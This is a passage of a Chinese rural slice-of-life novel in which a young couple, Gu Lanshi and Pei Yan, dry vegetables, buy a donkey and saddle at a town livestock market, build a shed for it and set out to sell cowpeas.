将桶里剩下的水倒进木盆,他又挑着扁担出门,干活很利索,看得方红花越发满意。 放干净菜的盆满了,顾兰时起身到西屋抱了竹席出来,在晒谷场上铺平,端着满满一盆菜过来,又取了灶上的小木案板和菜刀过来,边切边摊开。 一老一少在院里忙碌,到最后竹席晾满,十来个竹匾也都铺了一层菜,还是有一半没地方晒。 顾兰时便回家找他娘要晒菜干的竹席,他家一共有两个,他全都抱回来了,一同铺在晒谷场上。 后面这两席子菜铺的比较厚,多晒两天也就干了。 见忙完了,方红花提上给她备好的菜篮子要走。 顾兰时连忙挽留:“阿奶,你就这里,咱俩也说说话,等吃过饭再回去。” “不了。”方红花摆摆手,离饭时还有一会儿呢,她一个老婆子,帮着洗洗菜就行了,看他们兰哥儿忙成这样,不必在这里多打搅。 “行,那阿奶,再拔点蒿菜回去吃,给我大伯娘也带些。”顾兰时连忙往菜地里走,拔了不少蒿菜,将竹篮塞得沉甸甸。 出了篱笆门后,方红花转身朝后边一摆手:“回去罢,就这几步路,没两步就到了。” 她拎着满满当当的竹篮走一段路换一只手,兰时这心眼也太实在了,这一篮子菜老沉。 不过等进了村后,瞧见路上有人,她也不觉得沉了,满面笑意。 村里人看见她从后面过来还提了这么多菜,都知道是从裴厌那边拿的。 “哎呦,她婶子,去山上?”方红花逢人就问候,特意把竹篮子往前面提,说:“兰哥儿给的菜,你拿点回去炒了。” 刘娥和顾家关系不错,推辞了一下说不要,但方红花抓了一把蒿菜往她篮子里塞,她只得收下,笑着说:“要么说兰哥儿命好,如今这日子,可比多少人都强,又孝顺,连我们这些人都记得呢,上回还给我了菜,这回又吃你们的情。” “嗐,什么情不情的,邻里邻居的,吃一点菜算什么。”方红花就爱听人说他兰哥儿命好,喜滋滋的,笑得脸上皱纹都多了。 刘娥走了之后,路上她又碰见几个人,交情不错的炫耀一番,也给对方抓一把菜。 看见赵老夫郎还有李老太太后,她哼一声,拎着菜篮子只当没看见,更别说相让。 等她过去之后,李老太太回头看一眼她手里的菜篮子,心里那叫一个酸,朝地上啐一口,那么多菜,便宜这个老妖怪了。 赵老夫郎满村里最讨厌的人除了方红花就是裴厌,方红花和他有仇,裴厌打了他两个儿子和儿媳,他心里一直不自在,但又畏惧活阎王,连明面上骂一句都不敢。 这两家结了亲后,他原本还偷着乐,方红花孙子嫁个穷光蛋,以后方红花脸上也没光彩,总算叫他找到个嘲笑的地方,却没想到裴厌和顾兰时日子竟过好了,连菜都那么多,心里哪能好受。 他这几天没事就想找人说说裴厌和顾兰时坏话,可不少人得了屁大点好处,竟同他翻白眼,嫌弃他背地里嚼舌根。 他再爱戳是非,也知道不能惹众怒,心中那叫一个憋屈。 “数她爱显摆,不就一点菜,也值得这样。”李老太太酸不溜秋地开口,要不是她眼睛黏在那篮子菜上,别人还真以为她不在乎。 “可不是,没见过世面的老娼货,呸!”赵老夫郎低声骂道。 他二人常常凑在一起说闲话,有时不过脑子,嘴快舌快,心肠也不怎么样,得罪了不少人,都不爱和他俩来往,如此,就越发只剩他们两个能说到一起。 以方红花对他俩的了解,转过身就知道他俩肯定要背地里谩骂,不过她已经不在意了,一想到那两个老货酸的眼睛都红了,但就是一根菜都吃不上,心里头那叫一个舒坦,没当面笑出来都是好的。 * 顾兰时不知道一篮子菜让他阿奶显摆了一路,等裴厌挑满水缸,他俩坐在堂屋歇息。 他吃着干枣说:“席子不够,这十天半个月没时间,又要收菜又要下种子,后边收秋稻也是事,等入冬闲了,再多编几张,明年就足够用了。” 他顿一下,又高兴道:“蒿菜先不急,这两天晒完春菜再拔。” “嗯。”裴厌在旁边听着,给自己倒了一碗茶喝,他想了一下,说道:“今天没别的事,去镇上看看,要有合适的驴子就买回来。” 蝎子一共卖了五回,除去那些零头铜板,大数目是三两六钱,买一头好毛驴绰绰有余,还不必动用以前的家底。 一听这话,顾兰时有点兴奋,也动了去镇上的念头。 路上有夫郎陪着再好不过,裴厌满口答应。 第76章 宁水镇离得较远,紧赶着走也得三四刻钟,裴厌怕赶路太急,路上在有树荫的地方,拉着顾兰时坐在树下歇了两回。 他自己赶路惯了不觉得疲累,只是担心顾兰时受不住远路。 夏末的天依旧热,累顾兰时倒不怕,就是有点不耐热,出门的时候因太兴奋,心劲十足,不过这一路走来,浑身冒了汗,也被太阳晒得眯起眼睛,情绪才稍微下去些。 再次歇过脚后,他把装水的竹筒塞子塞好,见裴厌伸手,就把竹筒递过去,自己空着手站起来。 裴厌将竹筒挂在腰间,说道:“快到了,路上不用再歇,一刻钟就能到。” “嗯。”顾兰时点点头,他认得路,以前跟爹娘来过宁水镇,次数不多,但路却好记。 往前没走多远,道路右边长了一片梧桐树,里面有几间村舍,树影间隙中,能看见稍矮的篱笆墙里面的屋子,还有屋后探出来的一簇花枝。 离镇子越近,官道上行人越多。 有牵老牛去耕地的,有赶驴车骡车的,挑担卖菜卖果子的,杂货郎也有,不是批了货往乡下村庄去吆喝叫卖,就是往镇上贩售。 沿途渐渐热闹起来,看见毛驴,顾兰时忍不住多瞅了两眼,自己在心里比划,等会儿要买一头比这个大的,和那个一样健壮的,心思十分活泛。 前面有个人牵着头毛驴站在路边,见有人从镇子那边过来,口中拉长了调子吆喝道:“驴子可骑,一里三文,童叟无欺——” 多数人赶路都要靠走,乏了累了找地方歇歇脚,只有路远实在走不动时,遇见个毛驴骡子拉人的,又或是牛车驴车,才愿意掏点钱。 能掏得起钱的也不会是穷人。 顾兰时听见吆喝声没在意,目光只落在毛驴上,这头毛驴喂得好,挺壮实,怪不得来驼人拉客。 有个头发银白的小老太太提着篮子热得气喘吁吁,听见吆喝声后她停下歇脚,用手帕擦擦汗。 瞧她穿着,衣料比寻常老妇要好一点,人也收拾得利索,一头白发拢得十分齐整,两只腕上分别戴着粗口银镯,头上也有根簪子。 “老太太,上哪里去?”牵毛驴的一看有点苗头,连忙问道。 老妇上了年纪,赶路确实不比年轻人,她没答话,想了一想才说:“四里地,拉到泉水村,烦你多走两步,将我送到家门口,我家就在村子中间,如何?” 牵毛驴的今日还没开张,好不容易有趟生意,他瞧了一眼老太太,不像是会赖钱的,于是答应道:“成,只是一里三文,再不议价了。” 老妇觑起眼睛看一眼天色,已经晌午了,走下去只会更热,她开口道:“这都不是要紧事。” 她说着,往毛驴这边走两步,将手里篮子先让驴主人拎着,自己借力爬上驴鞍子。 她坐好后,路过他们的顾兰时听到一声长喘气,不说话都明白什么意思,总算不用她自己走路了。 毛驴蹄子吧嗒吧嗒响,背上的小老太太一晃一晃,称心如意回家去了。 * 还没到跟前,顾兰时就看见宁水镇一点轮廓,镇口几间院子错落,不少人进进出出,比官道上更热闹。 想起刚才的情景,裴厌说道:“镇子另一边是去往府城和繁水镇的方向,那边沿路拉车牵驴的更多。” 顾兰时点点头,他没出过宁水镇,但也能想明白,往他们那边去都是乡下,能掏得起钱的人肯定不如另一边多。 有人拉着一头大猪往镇上走,那猪哼唧哼唧叫着,似乎有点不愿走,被后面一个人用树枝抽了几下屁股才往前。 顾兰时看一眼,这猪还挺肥,应该是卖去猪市的。 他们宁水镇有专门的猪市,前街生猪买卖小猪相看,往里头的后街沿街两边有许多猪肉铺子,门前和店里的木架上都挂着一扇扇猪肉,杀猪的屠户卖肉的老板,营生都在那里。 他们要去牲口坊市,和猪市隔了两条街,都在宁水镇西边。 进镇子之后,有汉子推着独轮车,车上麻袋鼓囊囊,也不知装了什么,独轮车瞧着沉重,那汉子因天热,脱了半边衣袖,右胳膊和半边臂膀露在外面。 夏天打赤膊的汉子很常见。 “春菜,一文两斤。” 顾兰时顺着叫卖声看过去,中年汉子用扁担挑了两个大竹筐,筐子里的春菜叶子被太阳晒得有点蔫。 春菜家家都种,市价卖得很便宜,有时一文钱三斤都有,挣的不过是一点辛苦钱,好在一棵大春菜就能有个二三斤,这东西种下去长得也快。 他俩往西边街道走,路两旁各种小摊不少,有锔瓷匠正在补碗,用弓弦将金刚钻拉的吱吱响。 两个妇人结伴卖扇子手绢,从胭脂水粉铺里走出年轻的姑娘和双儿,脸颊施了粉画了眉,身上飘来一股别样的香气。 今年还是头一次来镇上,顾兰时看什么都新鲜。 包子摊前有人买包子,摊主掀开笼屉,露出热腾腾的大包子,看起来又白又软和。 面摊里老板娘正在擀面,她汉子在旁边锅里下面,饿了的食客坐在桌子前抻着脖子看面好没好。 这会儿正到了饭时,前面酒馆饭馆不断有人进去,店小二在门口拉客吆喝。 闻到饭香,顾兰时有点饿了。 裴厌看他舔舔嘴巴,笑了下说:“先吃饭,吃完再去牲口市。” 在外面吃饭要花钱,顾兰时有点犹豫。 裴厌开口道:“走了这么久,也该填饱肚子,总不能饿着回去。” 回去的话早过了饭点,肯定又饿又累,顾兰时这才嗯一声,他左右看看,一时不知道吃什么好。 裴厌闻到馄饨汤的香气,见馄饨摊上头撑了青布大伞遮太阳,想了一下说:“面条和包子在家里都能吃,不如尝一碗馄饨。” “多钱?”他上前问道。 摊主一家正在忙碌,包馄饨的年轻妇人百忙之中答道:“大馄饨一碗十文,小馄饨一碗六文,汤水可续。” 顾兰时看一眼竹匾上的馄饨,大馄饨肉馅饱足,小馄饨皮薄面片大,摊主儿子下大馄饨一把抓了八个,小馄饨一把抓了十五六个。 如此抉择,他有点拿不定主意。 “各来一碗。”裴厌说完,拉着顾兰时衣袖在空桌子前坐下,这桌子是长条状,两人靠外坐在同一边。 馄饨还没下出来,摊前陆续来了好几个人,四张桌子都坐了人。 顾兰时正拿了竹筒喝水,有两个街上铺子的半大小子来吃馄饨,见其他桌子坐不下了,摊主连忙招呼他俩往这张桌子坐,笑道:“人多,见谅见谅。” 裴厌略点点头没言语,一碗馄饨并不多,他转头说道:“有卖酥油饼的,我去买两个。” “好。”顾兰时点点头,竹筒里的水喝完了,他塞好盖子放在桌上。 坐在对面的小子看起来十一二岁,无意中看过去发现对方目光躲闪,他疑惑不解,和生人没什么话说,他移开视线,只当没有发现,转头去看裴厌在哪里。 对面两个小孩你推我一下我推你一下,也不知较个什么劲,他俩家里是街坊,从小一起长大,一个眼神就能猜出对方憋了什么屁。 这会儿挤眉弄眼的,也只有他俩能懂,是见着一个年轻漂亮的双儿忍不住多瞅两眼,谁知被人家抓了包,就算看出来这人已经成亲,盯着一个双儿看总归失礼,眼神哪里敢和对方接触,自然躲躲闪闪。 卖酥油饼的摊子在不远处,裴厌前面有两个人正掏钱。 只要在附近就好,顾兰时刚收回视线,一个老妇端了两碗馄饨放在他面前,笑呵呵说:“两碗来了,一个大馄饨一个小馄饨,筷子勺子在这儿呢,客人慢吃。” 他点点头,闻见香气后越发饿,先取了勺,没等一会儿裴厌大步走过来。 “你吃哪个?”他递过去勺子问道。 裴厌把油纸包放在桌上,里面是四个金黄的油酥饼,个头不算大,他接过筷子,随便拉过一碗离自己近的,一看是小馄饨,说道:“你先吃大的尝尝。” “嗯。”顾兰时没有再客气,舀起一个大馄饨尝了尝,肉馅紧实,肉香十足,咸淡也正好,怪不得热天这馄饨摊生意也不错。 他又舀一勺汤,也不错呢,汤清却香浓。 裴厌见状,自己还没开动,又把小馄饨递过来,笑道:“再尝尝这个。” 顾兰时依言尝了尝,小馄饨皮多一点,是另一种感觉,最近没怎么吃过猪肉,还是觉得大馄饨好吃点,肉馅一口咬下去十分满足。 两人已经很熟悉,裴厌从他尝过两碗后的神情就看出他喜欢大的,笑着把小碗挪回自己面前,开口道:“吃吧,不够的话再来一碗。” “足够了。”顾兰时又问道:“你不尝尝?” 裴厌摇摇头,说:“不必了,肉馅都是一样的,我吃这个正好。” 他说着拿起一个酥油饼,又用眼神示意顾兰时也拿。 酥油饼刚出锅,还是热乎的,咬一口酥软油咸,那叫一个好吃。 顾兰时吃得很高兴,眉眼带着笑意。 等吃完两个饼子后,他才想起来,问道:“如今酥油饼多钱?” “三文一个。”裴厌从怀里掏出荷包,数了十六枚铜板放在桌上,同摊主招呼一声,起身拿了空竹筒挂在腰间。 顾兰时和他一同站起来,闻言笑道:“还是以前的价。” 热汤热饭一下肚,顾兰时出了点汗,但心里是满足舒坦的。 既吃饱喝足,两人不再耽误,直奔西边牲口市。 第77章 好几个人在相看一头高骡子,顾兰时跟着裴厌也停下脚步,在旁边看了一会儿,骡子比毛驴跑得快,也更健壮。 听到骡子主人要价六两后,他轻轻咂舌,可真贵。 “走吧,看看毛驴。”裴厌说着往前走,听见身后的人还价到五两,他心里对骡子的市价大概有了底。 如今买一头毛驴回去,三五年内不用买其他牲口,不过多听听看看总没错。 牲口市这边汉子很多,顾兰时发觉之后往裴厌身边凑近一步,心里才踏实一点,放下心去打量市上的各种牲口。 宁水镇有几户财主和一些有钱人家,有的家里养了马,他小时候来镇上见过一匹,但寻常人家根本用不到马,因此牲口市上买卖马的很少,只有干农活的牲口最为抢手。 农户养一头耕牛不容易,都当宝贝伺候,因此坊市里卖的耕牛也不算太多,毛驴和骡子最常见。 裴厌直直看向斜前方几道视线,他长得高,脸上长疤狰狞,一冷脸压迫感十足,那几人心中发虚,再不敢看顾兰时。 牲口多的地方不免有些粪便,聚集在一起味道也不怎么样,对乡下人来说倒是没什么,忍一忍就过去了。 一路看过来,问了好几头驴子的价钱,裴厌最终和一个面相憨厚的中年汉子还起价。 一来一回说了两句,汉子没吃饭,又热又饿,早有些不耐烦了,他挠挠头,直截了当地说:“这样,我也不说别的价了,整三两,市价便是如此,我早早卖了也好回家。” 这头驴品相不错,在毛驴中算健壮的,也没生病有伤,裴厌沉吟一下,点头应允道:“好,等我再查看一番就去写契。” 汉子对自己养的驴十分自信,口中道:“你只管看,这驴要是不好,我以后也没脸养了。” 一头驴三两银子,不看好哪能放心,裴厌仔细查验过后说了声不错,见旁边木栏上放了个旧鞍子,他问道:“这是你的?” 中年汉子点点头,说:“是,用了几年旧了,今天拿出来想卖掉,你要不要?” 裴厌说道:“多钱?” 汉子伸出五根手指头,说:“你只添五十文就好,别看旧了,可是完好的,卖去当铺最少都能当八十文,你既诚心买毛驴,多的我也不说了。” 裴厌听完,拿起这副鞍子翻着看了两遍,又让顾兰时看看,使个眼色微微点头,示意五十文确实不贵。 “前几天我女人把里外都刷洗干净了,就怕有主顾嫌脏,这你放心,我们从不做那坑蒙拐骗的事。”汉子在旁边说道。 “行。”裴厌见鞍子确实没破没烂,是完好的,不如直接买下来,这样就有现成的用。 牲口市上有写契的人,一张五文钱,比起买卖牲口的价钱,这几个铜板确实不贵,牲口市在宁水镇许多年了,交易买卖之间渐渐有了约定成俗的规矩,一般都由卖家出钱写。 顾兰时看着穿青色长衫的中年汉子蘸墨下笔,不一会儿契约就成了,还给他们念了一遍,裴厌和那叫赵力的汉子都不会写字,便只按了手指印。 契约上人名和卖价都写得齐全,驴鞍子也有写。 裴厌记性好,能认出自己名字,接过契约后见他名字切切实实落在上面,就放了心,仔细折好揣进怀里。 那汉子接过钱后,连毛驴带鞍子都给了他,道一声别就离开了。 裴厌拍一拍鞍子,在驴背上很稳当,正合适,他笑道:“走吧。” “嗯。”顾兰时跟在旁边,时而转头看一眼自家的驴子,心里那叫一个高兴。 “镇上人就是多。”他看看周围,脸上笑意不断。 “嗯。”裴厌应和道,眉眼里同样有笑容,总算办成了一件事,以后耕地拉车就有帮手了。 看见前面有人吆喝卖青梅酿,他心中一动,问道:“想不想喝?” 顾兰时三年前尝过几口这东西,滋味很好,夏天喝最合适,只是今天出来已经花钱吃了一顿饭,再买酒水的话,会不会花太多了。 见他犹豫,裴厌笑着说:“今天高兴,也就喝这一回,今年这一夏卖的蝎子钱足够打一筒尝尝。” “行。”顾兰时被他说得心动,确实高兴呢。 到了跟前后,裴厌停下,毛驴也跟着他停下,他摘下腰间的竹筒,说:“来一筒。” “好嘞。”小贩接过竹筒,掀开木车上的酒桶盖子,用竹酒舀子给他们舀了满满一竹筒,递过来笑道:“十二文。” 裴厌一手拉毛驴一手拿竹筒,就把荷包给了顾兰时,让他数钱。 数了十二枚铜板,因小贩是个汉子,顾兰时当着对方面放在木车上的碗里,说:“可够了?” 小贩在他数钱的时候看着,知道够数,满面笑意说道:“够了够了,慢走。” 太阳大,街上人少了点,连街边几个没生意的摊贩都无精打采的。 今天出门有点着急,也没戴草帽子,顾兰时用手帕擦擦汗。 裴厌把竹筒递给他,笑道:“尝尝。” 顾兰时脚步放慢了,拔出塞子浅尝一口,酸酸甜甜,带了一点酒味,但不浓烈,正合适。 他喝了两口又递给裴厌,说:“等回去了,在凉水里浸一浸,肯定更好喝。” “嗯。”裴厌尝了一口,又把竹筒塞好。 两人脚下不约而同变快,这时候了,回去还有活干呢。 快出镇子时,他开口道:“坐上去,我牵着。” 刚买的毛驴,顾兰时还有点舍不得,但鞍子是现成的,不坐又显得买了驴子没用,便满心欢喜答应一声。 裴厌扶着他坐好,见人坐稳当了,这才牵驴往前走,他脚程快,毛驴蹄子嗒嗒嗒也变快。 顾兰时坐在驴背上,随着驴子走动身体轻晃,他左看看右看看,出了镇子后两边是树林和野地,视线又落在前面的裴厌身上。 平时哪能看到裴厌发顶,坐高了就是不一样。 * 小河村,大白天的,村里人要么在地里干活,要么出门挖野菜采山货,再不就是在家里忙活,在外面闲逛的人很少。 顾兰时很高兴,他不是故意显摆,可路过别人院门前时总会被看到。 他和裴厌成亲时虽然有点家底,但外人不知道,看裴厌素日行径,只觉得两人很穷,今日却连毛驴都骑上了,甚至有人以为看错了,还走到院门口来细看。 身后的人顾兰时没发现,等走到家门口时,见院门开着,他太高兴,就喊裴厌说要下来。 裴厌道一声好,让毛驴停住,将人稳稳扶下来。 在地上站定后,顾兰时笑道:“坐了这一路,腿还不大适应。” 他朝里面喊一声:“娘。” 苗秋莲在屋里缝补衣裳,听见声音走出来,探头看一眼,见他俩牵着驴子,边朝外走边询问:“做什么去了?怎么还有头毛驴。” 顾兰时高兴说道:“娘,我和裴厌刚去镇上买的。” “哎呦。”苗秋莲脚步一下子加快了,喜不自胜道:“驴子都买了。” 她出来摸摸围着毛驴转一圈,又摸摸驴鞍子,笑得眼尾皱起,说:“可真不错,又精神又壮实。” 隔壁刘桂花听见动静好奇出门看,他家新娶的媳妇也跟着出来,瞧着有些腼腆害羞。 因成婚不久,她和村里其他人还不大熟悉,四邻还好点,只是顾兰时这段时日常常在后山,回家也只待一小会儿,很少到隔壁串门子。 “他婶子,快来看,连鞍子都是现成的呢。”苗秋莲高兴的不得了。 刘桂花带着儿媳妇来凑热闹,满嘴里都是夸赞,之前顾兰时给家里送菜时,她家也得了些,对裴厌渐渐也没那么怕了。 东边几户邻居只要在家的也都出来看,孙老夫郎询问道:“兰哥儿,多钱买的?” “三两。”顾兰时没有隐瞒,毛驴市价如此,说出来没什么。 果然,周围的人听了,都暗自点头,这个价也公道。 只是这几天他俩又是收菜又是买驴子的,有人面上不显,心里却有点酸溜溜。 看过一番后,外头太阳大,毛驴不是什么新鲜东西,邻居说两句闲话,就各自回去了。 苗秋莲笑道:“你爹他们不在家,等回来了,肯定要过去看看。” “好,我俩今天在家呢。”顾兰时说完,心想驴子驼了他一路也累了,于是笑着说:“娘,那我俩先回去了,还有活呢。” 苗秋莲连声道:“好好,快去。” 顾兰时没有再坐毛驴,和裴厌一起往家走,他笑眯眯的,说:“今天买毛驴着急,牲口棚还没搭呢。” 裴厌开口道:“家里木头和干茅草都有,这两天就能着手搭建。” 顾兰时想一下,说道:“要忙不过来,我喊狗儿来帮帮忙,他如今大了,长了个头,力气也不小呢。” “行。”裴厌没反驳,趁早搭了牲口棚也好,万一下雨,驴子能有个遮风挡雨的地方。 到家之后,两人把毛驴牵到后院,裴厌找了根木头,在墙角打了进去当木桩使。 栓好毛驴后,顾兰时说道:“这一路回来,它也累了,等歇歇,落落汗再喂。” “嗯。”裴厌把绳子栓结实,见不会跑脱放了心,听见猪在哼哼,他笑道:“还是先喂猪,这声音大的。” 顾兰时也笑了,进灶房没忘了先把竹筒浸在干净的凉水里。 傍晚,顾铁山带着狗儿和竹哥儿都来了。 见到狗儿,顾兰时笑道:“正想找你呢,在牲口市上写了张契约,你帮着看看。” 一听这话,裴厌从怀里掏出那张纸递过去。 顾兰瑜仔细看了一阵,嘴里还小声念着,完了抬头笑道:“没错处,都好着呢。” 他们两个都不识字,有家里人帮着把把关更放心。 第78章 在后院看驴看猪,正说着话,就听见大黑汪汪叫,它声音向来高,几人从后院出来。 怕狗误咬了人,裴厌率先走到前院,见是顾兰生抱着小儿子顾安进了篱笆门,他喝止一声,大黑便住了嘴。 顾兰生还没到跟前就笑道:“听人说买了毛驴?” “嗯,晌午去镇上买的,大哥进来坐。”裴厌迎上去。 顾安睁着黑又大的眼睛瞅眼前这个很高的人,一脸好奇。 他和顾兰时很熟悉,也见过裴厌,因那条长疤他一直有点胆怯。 顾兰时也出来了,看见小侄儿先接过来抱,哎呦一声说:“又长肉肉了,小嬷都快抱不动了。” “太懒了,走几步路都不愿。”顾兰生在旁边抱怨一句,又对小儿子说道:“到小嬷家了,你不是想看驴子,自己下来走,够热的。” 顾安如今快四岁,肉乎乎一团,抱着确实有点热,他一听驴子,小腿动着,连忙就要下来。 顾兰时没拦着,把他放在地上,笑着说:“走,小嬷带你去看。” 见老爹和其他弟弟也在,顾兰生问候一声,没有立即进门,先是在外面看看大菜地,笑道:“春菜都拔了?” 裴厌点点头,说:“到种菘菜和萝卜的时候了,再晚赶不上时令。” 顾铁山和狗儿也走到外面,乡下人没别的可说,对一片菜地都能聊半天。 顾铁山嘴上没说,但心里很是欣慰,当初还觉得太穷,这会儿越看姑爷越顺眼,真是个有本事的,短短几个月,连毛驴都买了。 太阳落山了,一阵凉风吹来,舒爽无比。 听他们要走,顾兰时便忙着拔蒿菜,让回去带着。其他菜蔬还没结瓜菜,不到吃的时候。 自家人没必要太客气,顾兰瑜和竹哥儿顺手在菜地里拔了一大把,连筐子竹篮也不用,弄成一堆抱起就出了门。 关好篱笆门后,两人沿着石子路慢慢往回走,顾兰时满足地叹息一声,说:“这下好了,以后去镇上不用你走路,套上驴车就行,驴子跑起来挺快的,光路上就能省好些工夫。” 能看到以后的好日子最让人高兴,心劲也越发足。 凉风习习吹拂,裴厌只觉再没有这般好的时候,胸腔中仿佛透着一股畅快舒坦。 看见东边菜地竹架齐整,枝叶繁茂,他笑道:“过十天半个月,丝瓜豇豆这些长成了,就用驴车拉去卖,多少挣一点。” 这话光是听着就叫人高兴,顾兰时笑眯眯的,院里只有他两个,他简直不知道要怎么表达喜悦,没忍住抓着裴厌的手晃了晃。 天色暗了,云朵从天上缓缓飘过,两人走得很慢,抓在一起的手轻晃,十分和谐默契。 * 灶房里,锅热油冒起烟,顾兰时将一盆切好的蒿菜倒进去。 滋啦—— 他拿了木铲翻炒,没一会儿就熟了,用的是猪油,盛出来的蒿菜又嫩又鲜绿。 随后他擦擦锅,蹲下去给灶底添两根细柴,又舀一点猪油淋在锅里,将两条鲫鱼煎了煎,加水盖锅盖,煮开后又把豆腐下进去。 又给灶底添了一把柴火,他在襜衣上擦擦手,将案台收拾干净,这才往后院去看。 裴厌和顾兰瑜正在搭牲口棚,经过这几天忙碌,就剩最后一点。 裴厌在顶上铺干茅草,顾兰瑜站在下面给他递。 “快好了。”顾兰时看一眼又说道:“鱼已经下锅了,你俩忙完洗手,歇一会儿就能吃。” “知道了兰时哥哥。”狗儿答应着,手里活没停。 放在地上的水碗都没了水,顾兰时拿起茶壶,也是空的,便到前院续了水。 下午起天就阴了,太阳不是很大,这会儿越晚,天色瞧着有点不太好。 赶在太阳落山之前,两人把牲口棚搭建好,驴槽拿木板钉了一个,缝隙用昨天狗儿带来的一点油灰还有和的黄泥糊了。 有点起风,裴厌把毛驴牵进去栓好,又给抱了些麦秸和青草混着放进槽里,看一看牲口棚里头比较宽敞,他心里十分踏实。 回来好几天,毛驴对主人已经熟悉了,大口嚼起草料。 他拍拍身上草屑,回到前院洗手,顾兰瑜已经坐下歇息了。 锅里的鱼汤炖好了,顾兰时正在端饭端菜,今天活干完了,他特地蒸了米饭,豆腐也是特地去买的,好犒劳一下干了几天活的两个人。 知道弟弟和裴厌饭量都大,蒿菜炒了许多,舀出来很实在一大碗,鲫鱼豆腐汤也用盆盛着,两样菜足够他们三人吃了。 “吃饭吃饭。”顾兰时招呼道。 狗儿干了一下午活,确实饿了,一点没跟他俩客气,埋头就扒饭。 裴厌笑了下,也端起饭碗开吃。 顾兰时给他俩一人舀了碗鱼汤在旁边晾着,笑道:“慢点吃,不急,不够锅里还有,今天蒸的多,多夹点菜吃。” 他自己先尝了点蒿菜,很新鲜,吃起来十分清爽。 一顿饭吃到最后,只剩一点鱼汤没喝完,鱼肉和豆腐都吃了个干净,顾兰时刷锅洗碗,让他俩在堂屋歇息。 “等入秋后,山里的兔子肥了,厌哥,要是有空,咱们去山上逮兔子,要是多了,还能卖几个钱。”顾兰瑜很羡慕他弹弓打得准,玩心又重,便想约定一起上山。 裴厌轻声笑了下,点头道:“好,到时候一起去。” 顾兰瑜得了准话很高兴,又说:“要是不喊兰兴,回头给他知道了,非得同我嚷上几天,到时我叫上他,多少是个人手。” 他俩常常一起玩耍,不免会想着一点堂弟。 说话间外面雨点噼啪就打了下来,落在泥地上溅起片片水迹。 “下雨了。”顾兰瑜站起来看一眼,说:“看这势头,像是场大雨,我先回去了。” 裴厌也起身看了看,说道:“戴上斗笠。” 不等他去拿,顾兰瑜笑着开口:“哪里能用到,离得这样近,我跑回去就行了。” 他没带什么东西,又吃饱喝足了,道一声别就往外跑,路过灶房时喊道:“兰时哥哥,我先回去了。” 顾兰时正在刷锅,闻言匆匆走到灶房门口看,见弟弟已经跑出了院门外,他喊道:“才吃饱了,跑慢些。” “知道。”顾兰瑜嘴上答应,腿脚依旧很快,不一会儿就没了踪迹。 “真是的,这么着急,披上蓑衣戴了斗笠,不就不用跑了。”顾兰时碎碎念了几句。 裴厌站在堂屋房檐下,听见后笑着说:“我刚才要给他取,还没拿就跑了出去,腿脚挺快的。” 他看着眼前雨幕,说道:“得亏喊了狗儿帮忙,不然也不会这么快搭好。” “是呢,刚搭好雨就来了。”顾兰时笑道。 见雨势起来了,他心想幸好及时搭了棚子,不然毛驴还得进柴房避雨,柴房里堆着柴火和一些杂物,到底不如牲口棚宽敞。 * 入夜。 外面雨声哗哗,屋子里的人已经上了炕。 下雨有点冷,两人钻进一个被窝,再不像夏天那样热得慌。 顾兰时腿搁在裴厌腿上,他心情甚好,打了个哈欠渗出一点泪水,擦一擦笑着说:“过段时间买点棉花回来,我给你做两身棉衣,过冬时就有的穿了。” “嗯。”裴厌同样困了,他低低答应一声,右手放在顾兰时肚皮上就闭了眼睛。 “我棉衣冬鞋都有,你冬天鞋子有没有?”顾兰时又问道,肚皮上的大手掌心有点粗糙,但每次抚摸的时候莫名很舒服,因此他并不抗拒这样。 裴厌低声开口:“有一双,之前跟你提过,姑姑给做的。” “嗯。”顾兰时想了起来,说道:“一双不够,我再给你做一双好换洗,新棉花穿着也更暖和。” “好。”裴厌应道,翻身变成侧躺,将夫郎的腿夹在自己双腿之间,抱着人有一搭没一搭说两句,渐渐进入了梦乡。 * 卯时初,远处村子鸡叫了几声后,院里渐渐有了动静。 头一遍鸡叫的时候裴厌看了看窗外,离天亮还早,就没起,这会儿才出来盥洗。 豇豆第一茬能摘了,他和顾兰时洗完后,顾不上吃东西,直接开院门在前头菜地里摘豇豆。 柴房里,听见人声的大黑懒洋洋从麻袋上爬起来,抖抖身体,用爪子和嘴巴弄开柴房门,轻晃着尾巴来到菜地。 豇豆长得很好,比小臂还长,顾兰时原本有点困倦,摘了一会儿精神起来。 蒿菜全拔了,西边八块菜地已经种上萝卜和菘菜,一样也是四块地,还没出芽,瞧着光秃秃的。 东边的豇豆、丝瓜和菜瓜陆续都挂了菜果,豇豆长得快一点,丝瓜和菜瓜都是半大,还嫩生着。 顾兰时挑着长的一把把摘,小的短的没动,还能再长两天。 一块地种了六行豇豆,一共十二行,他俩各自在一块地里摘,这头一茬长的繁多,最后竟摘了三大一小四竹筐。 裴厌牵了毛驴在前院套板车,顾兰时放下一大把豇豆,留给他俩自己吃,随后从笼屉里拿出一叠甜米糕。 早上有点冷,泥炉上的陶罐水开了,他给茶壶里放了一把野茶叶,用滚水冲开。 米糕虽然是凉的,配着热茶吃就行了,垫个肚子,吃完好和裴厌一起去镇上卖菜。 吃过东西后,怕赶不回来喂猪,他抱了一大捆半干的草往后院走,见裴厌车套好了,他开口道:“舀一瓢麦麸,剁点草混在一起喂鸡鸭。” 裴厌答应一声,进杂屋舀了一葫芦瓢出来,也往后院去。 禽畜喂好,顾兰时给大黑扔了两个糙馒头,把昨天从家里取来的一杆秤放在板车上。 裴厌给毛驴抱了一捆草料放好,牵着驴子往外走,到菜地跟前时把四个竹筐都搬上车。 等顾兰时锁好门,两人和驴车先往村子走,那边的路常常有人踩,比走河边更平坦。 第79章 日出东方,天色渐渐亮了。 路过家门口时,顾兰时没有进去,喊一声娘,两手抱着一把豇豆放在门槛后面,就和裴厌走了,没有进门说闲话耽误。 “这孩子,急成这样。”苗秋莲匆匆走到门口拾起菜,嘴上这么说,心里也知道他俩是着急去镇上卖,路远呢。 她抬脚跨出门槛,在后面喊道:“路上慢些,别着急。” “知道了娘。”顾兰时回头,答应着继续往前走。 村里有不少本家亲戚,见门开着院里有人,他才从筐子里抓一把留下,比给苗秋莲放下的豇豆要少。 倒不是他小气,只是这几筐菜是要去卖钱的,给多了自己就挣不了几个,亲戚要是想吃,上他们家菜地摘一些他肯定不说什么。 经过祖宅时,见方红花在院里抱柴火,这是亲阿奶,肯定比别的亲戚更亲近,见大伯娘在堂屋扫地,他抓了两把豇豆进门,一份给阿奶,一份给大伯娘放在灶房窗沿上。 “哎呦。”刘彩凤看见,笑得合不拢嘴,见他放下就出门,连忙送出来,说:“姑爷也在,你俩这是去镇上?” 